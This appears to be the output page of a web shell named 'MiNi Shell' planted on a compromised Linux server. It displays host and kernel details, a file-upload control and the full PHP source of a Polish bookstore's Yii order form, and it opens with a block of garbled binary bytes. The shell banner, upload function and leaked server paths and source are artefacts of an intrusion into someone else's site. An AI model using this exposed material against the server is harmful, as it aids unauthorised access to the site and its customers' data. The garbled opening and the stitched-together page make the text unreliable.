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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/views/ksiegarnia/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/views/ksiegarnia/order.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use yii\bootstrap\ActiveForm;
use yii\captcha\Captcha;
use kartik\widgets\DepDrop;
use yii\web\JsExpression;
use common\models\Regions;
use common\models\Countries;
use common\models\Companies;
use frontend\components\helpers\SlugGenerator;
use frontend\assets\SelectAsset;

SelectAsset::register($this);

/* @var $this yii\web\View */
/* @var $modelBook common\models\Books */
/* @var $modelForm frontend\models\BookOrderForm */
/* @var $userCompaniesData array */
/* @var $userData array */


$this->params['breadcrumbs'][] = ['label' => 'Księgarnia', 'url' => ['ksiegarnia/index']];
$this->params['breadcrumbs'][] = ['label' => Html::encode(strip_tags($modelBook->title), false), 'url' => ['ksiegarnia/pozycja', 'id' => $modelBook->id_book, 'slug' => SlugGenerator::generate($modelBook->title)]];
$this->params['breadcrumbs'][] = Yii::t('frontend', 'Zamów publikację');

$this->registerJs(
    '
    $("#book-order-form input[name=\"BookOrderForm[or_company]\"]").on("click", function() {
        if($(this).val() == 0) {
            $("div.only-company-field").hide();
            //$("#addresses-list").hide();
        } else {
            var idCompany = $("#book-order-form input[name=\"BookOrderForm[id_company]\"]:checked").val();
            if(!idCompany) {
                clearContactDataFields();
            }
            $("div.only-company-field").show();
            $("#bookorderform-id_company input[type=\"radio\"]:checked").trigger("click");
        }
    });
    
    var clearContactDataFields = function() {
        var fields = ["forename", "surname", "company_name", "tax_id", "postcode", "id_country", "id_region", "locality", "street", "building_number", "apartment_number", "contact_person_email", "contact_person_phone", "company_email", "company_phone", "fax"];
        
        $.each(fields, function(key, value) {
            $("#book-order-form input[name=\"BookOrderForm["+value+"]\"]").val("");
        });
        
        $("#addresses-list").hide();
        $("#addresses-list ul li").hide();
    }
    
    $("#book-order-form .populate-form").on("click", function() {
        var data = $(this).data();
        
        clearContactDataFields();
        
        $.each(data, function(key, value) {
            var fieldName = null;
            
            if(key.substring(0, 5) === "field") {
                fieldName = key.substring(5);
                fieldName = fieldName.charAt(0).toLowerCase() + fieldName.slice(1);
                
                var input = $("#book-order-form input[name=\"BookOrderForm["+fieldName+"]\"]");
                if(input) {
                    input.val(value);
                }
            }
        });
        
        var orCompany = $("#book-order-form input[name=\"BookOrderForm[or_company]\"]:checked").val();
        if(orCompany == 0) {
            var addresses = $("#addresses-list li[data-owner=\"u\"]");
            if(addresses.length > 1) {
                addresses.show();
                $("#addresses-list").show();
            }
        } else {
            var idCompany = $("#book-order-form input[name=\"BookOrderForm[id_company]\"]:checked").val();
            if(idCompany) {
                var addresses = $("#addresses-list li[data-owner=\"c"+idCompany+"\"]");
                if(addresses.length > 1) {
                    addresses.show();
                    $("#addresses-list").show();
                }
            }
        }
    });
    
    $("#addresses-list ul li").on("click", function(){
        $(this).find("span[data-field]").each(function(index) {
            var fieldName = $(this).data("field");
            if(fieldName) {
                var input = $("#book-order-form input[name=\"BookOrderForm["+fieldName+"]\"]");
                if(input) {
                    input.val($(this).html());
                }
            }
        });
    });    
    
    if($("#book-order-form input[name=\"BookOrderForm[or_company]\"]:checked").val() == 0) {
        $("div.only-company-field").hide();
        //$("#addresses-list").hide();
    } else if($("#book-order-form input[name=\"BookOrderForm[or_company]\"]:checked").val() == 1) {
        $("div.only-company-field").show();
        $("#bookorderform-id_company input[type=\"radio\"]").first().trigger("click");
    }

    $("#bookorderform-title").on("change", function(event) {
        $("#bookorderform-price").val($(this).find(":selected").data("price")).trigger("change");
    });
    
    '
);

$regions = Regions::find()->select(['id_region', 'name'])->where(['id_country' => 'PL'])->asArray()->all();
$countriesList = ArrayHelper::map(Countries::find()->orderBy('name')->asArray()->all(), 'id_country', 'name');

$idUser = $modelForm->id_user;

$items = $itemsOptions = [];
if(empty($modelBook->or_sale_only_in_subscription) && !empty($modelBook->or_paper_version)) {
    $items[$modelBook->title.' - wersja papierowa'] = $modelBook->title.' - wersja papierowa';
    $itemsOptions[$modelBook->title.' - wersja papierowa'] = ['data-price' => Yii::$app->formatter->asDecimal($modelBook->price_paper_version, 2)];
}
if(empty($modelBook->or_sale_only_in_subscription) && !empty($modelBook->or_electronic_version) && !empty($modelBook->price_electronic_version)) {
    $items[$modelBook->title.' - wersja elektroniczna'] = $modelBook->title.' - wersja elektroniczna';
    $itemsOptions[$modelBook->title.' - wersja elektroniczna'] = ['data-price' => Yii::$app->formatter->asDecimal($modelBook->price_electronic_version, 2)];
}
if(!empty($modelBook->subscriptions)) {
    foreach($modelBook->subscriptions as $modelSubscription) {
        if(!empty($modelSubscription->or_paper_version)) {
            $bookKey = $modelBook->title.' - prenumerata papierowa ('.$modelSubscription->number_of_months.' mc / '.$modelSubscription->number_of_items.' egz.)';
            $items[$bookKey] = $bookKey;
            $itemsOptions[$bookKey] = ['data-price' => Yii::$app->formatter->asDecimal($modelSubscription->price_paper_version, 2)];            
        }
        if(!empty($modelSubscription->or_electronic_version)) {
            $bookKey = $modelBook->title.' - prenumerata elektroniczna ('.$modelSubscription->number_of_months.' mc / '.$modelSubscription->number_of_items.' egz.)';
            $items[$bookKey] = $bookKey;
            $itemsOptions[$bookKey] = ['data-price' => Yii::$app->formatter->asDecimal($modelSubscription->price_electronic_version, 2)];
        }
    }
}
?>

<div class="container">
    <div class="row tab-row">
        <div class="col-md-9 pt08 tab-cell"> 
            <h2 class="header portal-color portal-light-background">
                <span class="portal-border"><?= Yii::t('frontend', 'Zamów publikację') ?></span>
            </h2>  

            <?php if(Yii::$app->session->hasFlash('error')): ?>
                <div class="alert alert-danger text-left mt1" role="alert">
                    <?= Yii::$app->session->getFlash('error')[0]; ?>
                </div>
            <?php endif; ?>
            <?php if(Yii::$app->session->hasFlash('confirm')): ?>
                <div class="alert alert-info text-left mt1" role="alert">
                    <?= Yii::$app->session->getFlash('confirm')[0]; ?>
                </div>
            <?php endif; ?>

            

            <?php $form = ActiveForm::begin([
                'id' => 'book-order-form',
                'method' => 'post',
                'enableAjaxValidation' => false,
                'enableClientValidation' => true,
                'validateOnSubmit' => true,
                'validateOnChange' => false,
                'validateOnType' => false,
                'options' => [
//                    'enctype' => 'multipart/form-data',
                    'class' => 'col-xs-12 form-horizontal'
                ],
            ]); ?>
                
            
                <div class="text-center strong portal-color mb1 mt1">Publikacja</div>
                <p><b><?= Html::encode($modelBook->title, false) ?></b></p>
                                
                <?= $form->field($modelForm, 'title', ['enableClientValidation' => false, 'enableAjaxValidation' => true,
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->dropDownList($items, ['options' => $itemsOptions]) ?>
                
                <?= $form->field($modelForm, 'price', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['readonly' => true, 'maxlength' => true]) ?>
                
                <?= $form->field($modelForm, 'quantity', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>                

                <div class="text-center strong portal-color mb1">Zamówienie składa</div>

                <?= $form->field($modelForm, 'or_company', [
                    'template' => "<div class=\"col-sm-10 col-sm-push-1\">{input}</div>\n{hint}\n{error}",
                    'options' => ['class' => 'form-group row'],
                    'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                ])->radioList(
                    [
                        '0' => 'osoba prywatna', 
                        '1' => 'firma'
                    ],
                    [
                        'item' => function ($index, $label, $name, $checked, $value) use($userData) {
                            $additionalClass = (intval($value) === 0) ? ' populate-form' : '';                    
                            $output = '<div>';
                            $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_is_asking_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio'.$additionalClass.'"';
                            if(intval($value) === 0) {
                                $output .= 'data-field-forename="'.$userData['forename'].'" '
                                            . 'data-field-surname="'.$userData['surname'].'" '
                                            . 'data-field-contact_person_email="'.$userData['email_1'].'" '
                                            . 'data-field-contact_person_phone="'.$userData['phone_1'].'" '
                                            . 'data-field-street="'.$userData['street'].'" '
                                            . 'data-field-building_number="'.$userData['building_number'].'" '
                                            . 'data-field-apartment_number="'.$userData['apartment_number'].'" '
                                            . 'data-field-postcode="'.$userData['postcode'].'" '
                                            . 'data-field-locality="'.$userData['locality'].'" '
                                            . 'data-field-id_region="'.$userData['id_region'].'" '
                                            . 'data-field-id_country="'.$userData['id_country'].'" '
                                            ;
                            }
                            $output .= '><label for="radio_is_asking_'.($index+1).'"></label> '.$label;
                            $output .= '</div>';
                            
                            return $output;
                        }
                    ]
                ) ?>
                
                <?php if(!empty($userCompaniesData)): ?>
                    <?php if(empty($modelForm->id_company)) { $modelForm->id_company = ''; } ?>
                    <?= $form->field($modelForm, 'id_company', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                        'template' => "<div class=\"col-sm-10 col-sm-push-1 only-company-field\">{input}</div>\n{hint}\n{error}",
                        'options' => ['class' => 'form-group row'],
                        'inputOptions' => ['class' => 'col-sm-10 col-sm-push-1']
                    ])->radioList(
                        ArrayHelper::map($userCompaniesData, 'id_company', 'company_name') + ['' => 'Inna ...'],
                        [
                            'item' => function ($index, $label, $name, $checked, $value) use($userCompaniesData) {
                                $company = !empty($userCompaniesData[intval($value)]) ? $userCompaniesData[intval($value)] : null;
                                $output = '<div>';                                
                                $output .= '<input type="radio" name="'.$name.'" value="'.$value.'" id="radio_company_name_'.($index+1).'"'.($checked ? ' checked' : '').' class="radio populate-form" '
                                            . 'data-field-id_company="'.$value.'" ';
                                if(!empty($company)) {
                                    $label = $company['company_name'];
                                    $output .= 'data-field-company_name="'.$company['company_name'].'" '
                                            . 'data-field-tax_id="'.$company['tax_id'].'" '
                                            . 'data-field-forename="'.$company['forename'].'" '
                                            . 'data-field-surname="'.$company['surname'].'" '
                                            . 'data-field-company_email="'.$company['email_1'].'" '
                                            . 'data-field-company_phone="'.$company['phone_1'].'" '
                                            . 'data-field-fax="'.$company['fax'].'" '
                                            . 'data-field-street="'.$company['street'].'" '
                                            . 'data-field-building_number="'.$company['building_number'].'" '
                                            . 'data-field-apartment_number="'.$company['apartment_number'].'" '
                                            . 'data-field-postcode="'.$company['postcode'].'" '
                                            . 'data-field-locality="'.$company['locality'].'" '
                                            . 'data-field-id_region="'.$company['id_region'].'" '
                                            . 'data-field-id_country="'.$company['id_country'].'" '
                                            ;
                                }
                                $output .= '><label for="radio_company_name_'.($index+1).'"></label>';
                                $output .= ' '.$label;
                                $output .= '</div>';

                                return $output;
                            }
                        ]
                    ) ?>                
                <?php endif; ?>

                <div class="form-group row">
                    <label for="bookorderform-forename" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('forename') ?> i <?= $modelForm->getAttributeLabel('surname') ?>:</label>
                    <?= $form->field($modelForm, 'forename', [
                        'options' => ['class' => 'col-sm-3'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Jan']) ?>
                    <?= $form->field($modelForm, 'surname', [
                        'options' => ['class' => 'col-sm-4'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Kowalski']) ?>
                </div>
                
                <?= $form->field($modelForm, 'contact_person_email', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>

                <?= $form->field($modelForm, 'contact_person_phone', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?> 
                
                <?= $form->field($modelForm, 'position', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?> 

                <?= $form->field($modelForm, 'company_name', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row only-company-field'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>    

                <?= $form->field($modelForm, 'tax_id', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row only-company-field'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>    

                <?= $form->field($modelForm, 'company_email', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row only-company-field'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?>

                <?= $form->field($modelForm, 'company_phone', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row only-company-field'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->textInput(['maxlength' => true]) ?> 
                
                <?= $form->field($modelForm, 'fax', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row only-company-field'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label'],
                ])->textInput(['maxlength' => true]) ?>

                
                
                <div class="form-group row">
                    <label for="bookorderform-id_country" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('id_country') ?>, <?= $modelForm->getAttributeLabel('id_region') ?>:</label>
                    <?= $form->field($modelForm, 'id_country', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 
                        'options' => ['class' => 'col-sm-3'],
                        'enableLabel' => false
                    ])->dropDownList($countriesList, ['class' => 'form-control selectpicker', 'data' => ['live-search' => true], 'title' => Yii::t('frontend', 'Wybierz...')]) ?>
                    <?= $form->field($modelForm, 'id_region', ['enableClientValidation' => false, 'enableAjaxValidation' => true, 'enableLabel' => false, 'options' => ['class' => 'col-sm-4']])
                        ->widget(DepDrop::classname(), [
                            'options' => [],
//                            'options'= > ['class' => 'form-control selectpicker', 'data' => ['live-search' => true], 'title' => Yii::t('frontend', 'Wybierz...')],
                            'data' => ArrayHelper::map(
                                Regions::find()->select(['id_region', 'name'])->andFilterWhere(['id_country' => $modelForm->id_country])->asArray()->all(),
                                'id_region',
                                'name'
                            ),
                            'pluginOptions' => [
                                'depends' => ['bookorderform-id_country'],
                                'placeholder' => ' ',
                                'loadingText' => Yii::t('frontend', 'wczytywanie...'),
                                'url'=>Url::to(['/ajax/get-regions-for-country']),
                                'pluginEvents' => [
                //                    "depdrop:init"=>"function() { log('depdrop:init'); }",
                //                    "depdrop:ready"=>"function() { log('depdrop:ready'); }",
//                                    'depdrop:change' => 'function(event, id, value, count) { $("#advertisements-id_region").trigger("change"); }',
                //                    "depdrop:beforeChange"=>"function(event, id, value) { log('depdrop:beforeChange'); }",
//                                    'depdrop:afterChange' => 'function(event, id, value) { $("#advertisements-id_region").trigger("change"); }',
                //                    "depdrop:error"=>"function(event, id, value) { log('depdrop:error'); }",
                                ]
                            ]
                        ]);
                    ?>
                </div>

                <div class="form-group row">
                    <label for="bookorderform-postcode" class="col-sm-3 control-label required"><?= $modelForm->getAttributeLabel('postcode') ?>, <?= $modelForm->getAttributeLabel('locality') ?>:</label>
                    <?= $form->field($modelForm, 'postcode', [
                        'options' => ['class' => 'col-sm-2'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '00-489']) ?>
                    <?= $form->field($modelForm, 'locality', [
                        'options' => ['class' => 'col-sm-5'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'Warszawa']) ?>
                </div>

                <div class="form-group row">
                    <label for="bookorderform-street" class="col-sm-3 control-label required"><?= Yii::t('frontend', 'Adres') ?>:</label>
                    <?= $form->field($modelForm, 'street', [
                        'options' => ['class' => 'col-sm-5'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                    <?= $form->field($modelForm, 'building_number', [
                        'options' => ['class' => 'col-sm-1 nopadding after-content', 'title' => '/'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => 'nr']) ?>
                    <?= $form->field($modelForm, 'apartment_number', [
                        'options' => ['class' => 'col-sm-1'],
                        'enableLabel' => false
                    ])->textInput(['maxlength' => true, 'placeholder' => '']) ?>
                </div> 
                
                <?php 
                    if(!empty($modelForm->id_company) && !empty($modelForm->or_company) && !empty($userCompaniesData[$modelForm->id_company]['addresses'])) {
                        $relatedAddressesCount = count($userCompaniesData[$modelForm->id_company]['addresses']);
                    } elseif(!empty($modelForm->id_user) && empty($modelForm->or_company) && !empty($userData['addresses'])) {
                        $relatedAddressesCount = count($userData['addresses']);
                    }
                ?>
                <div id="addresses-list"<?php if($relatedAddressesCount < 2): ?> style="display: none;"<?php endif; ?> class="form-group row">
                    <label for="" class="col-sm-3 control-label">Zapisane adresy:</label>
                    <div class="col-sm-1">
                        <div class="btn-group dropup">
                            <button type="button" class="btn btn-primary dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                            Wybierz &nbsp; <span class="caret"></span>
                            </button>  
                            <ul class="dropdown-menu">
                                <?php if(!empty($userData['addresses']) && count($userData['addresses']) > 1): ?>
                                    <?php foreach($userData['addresses'] as $address): ?>
                                        <li data-owner="u"<?php if(!empty($modelForm->or_company)): ?> style="display: none;"<?php endif; ?>>
                                            <a style="cursor: pointer;">
                                                <span data-field="street"><?= $address['street'] ?></span> 
                                                <span data-field="building_number"><?= $address['building_number'] ?></span><?php if(!empty($address['apartment_number'])): ?>/<span data-field="apartment_number"><?= $address['apartment_number'] ?></span><?php endif; ?> 
                                                <span data-field="postcode"><?= $address['postcode'] ?></span> <span data-field="locality"><?= $address['locality'] ?></span><br>
                                                <span data-field="region"><?= $address['region'] ?></span><span style="display: none;" data-field="id_country"><?= $address['id_country'] ?></span><?php if($address['id_country'] !== 'PL'): ?>, <?= $address['country_name'] ?><?php endif; ?>
                                            </a>
                                        </li>
                                    <?php endforeach; ?>
                                <?php endif; ?>
                                        
                                <?php if(!empty($userCompaniesData)): ?>  
                                    <?php foreach($userCompaniesData as $idCompany => $userCompanyData): ?>
                                        <?php if(count($userCompanyData['addresses']) > 1): ?>
                                            <?php foreach($userCompanyData['addresses'] as $address): ?>
                                                <li data-owner="c<?= $idCompany ?>"<?php if(empty($modelForm->or_company) || $idCompany !== $modelForm->id_company): ?> style="display: none;"<?php endif; ?>>
                                                    <a style="cursor: pointer;">
                                                        <span data-field="street"><?= $address['street'] ?></span> 
                                                        <span data-field="building_number"><?= $address['building_number'] ?></span><?php if(!empty($address['apartment_number'])): ?>/<span data-field="apartment_number"><?= $address['apartment_number'] ?></span><?php endif; ?> 
                                                        <span data-field="postcode"><?= $address['postcode'] ?></span> <span data-field="locality"><?= $address['locality'] ?></span><br>
                                                        <span data-field="region"><?= $address['region'] ?></span><span style="display: none;" data-field="id_country"><?= $address['id_country'] ?></span><?php if($address['id_country'] !== 'PL'): ?>, <?= $address['country_name'] ?><?php endif; ?>
                                                    </a>
                                                </li>
                                            <?php endforeach; ?>
                                        <?php endif; ?>
                                    <?php endforeach; ?>
                                <?php endif; ?>
                            </ul>
                        </div>
                    </div>
                </div>

                <div class="text-center strong portal-color mb1">Tutaj wpisz swoje uwagi.</div>

                <?= $form->field($modelForm, 'message', [
                    'template' => "{label}\n<div class=\"col-sm-12\">{input}\n{error}</div>{hint}\n",
                    'options' => ['class' => 'form-group row'], 
                    'inputOptions' => ['class' => 'form-control noresize'],
                ])->textarea(['rows' => 10])->label(false) ?> 

                <div class="text-center strong portal-color mb1">Weryfikacja</div>

                <?= $form->field($modelForm, 'captcha', [
                    'template' => "{beginLabel}{labelTitle}:{endLabel}\n<div class=\"col-sm-7\">{input}\n{error}</div>\n{hint}",
                    'options' => ['class' => 'form-group row'], 
                    'labelOptions' => ['class' => 'col-sm-3 control-label required'],
                ])->widget(Captcha::className(), [
                    'captchaAction' => 'ksiegarnia/captcha',
                    'template' => '<div class="row"><div class="col-sm-4 captcha-img-container">{image}<div class="captcha-img-refresh"></div></div><div class="col-sm-8">{input}</div></div>'
                ]); ?>

                <?= $form->field($modelForm, 'accept_rules', ['options' => ['class' => 'form-group row']])->begin(); ?>
                    <label for="" class="col-sm-3 control-label"></label>
                    <div class="col-sm-7" style="margin-top: 6px;">
                        <?= Html::checkbox('BookOrderForm[accept_rules]', $modelForm->accept_rules ? true : false, ['id' => 'bookorderform-accept_rules', 'class' => 'check']) ?>
                        <label for="bookorderform-accept_rules"></label>
                        Wysłanie zapytania oznacza akceptację <a href="<?= Yii::$app->params['frontendBaseUrl'].'/attachments/'; ?>Portale_Vertica_Regulamin.pdf" target="_blank"><strong>regulaminu</strong></a>.
                        <?= Html::error($modelForm, 'accept_rules', ['tag' => 'p', 'class' => 'help-block help-block-error']); ?>
                    </div>
                <?= $form->field($modelForm, 'accept_rules')->end(); ?>

                <div class="form-group row">
                    <div class="col-sm-6 col-sm-push-3">
                        <button class="form-control btn btn-default btn-glyph noradius">
                            <span class="pull-left"><span class="glyphicon glyphicon-send" aria-hidden="true"></span></span>
                            <span class="text-left"><strong>Wyślij zamówienie</strong><br>i czekaj na kontakt</span>
                        </button>                      
                    </div>
                </div>

            <?php ActiveForm::end(); ?>

            <div class="clearfix"></div>
        </div>
        <div class="col-md-3 pt08 tab-right text-center">
            <?= $this->render('//shared/_right_sidebar', ['bannerClass' => 'inline mb05']); ?>
        </div>          
        
    </div>
</div>

Creat By MiNi SheLL
Email: jattceo@gmail.com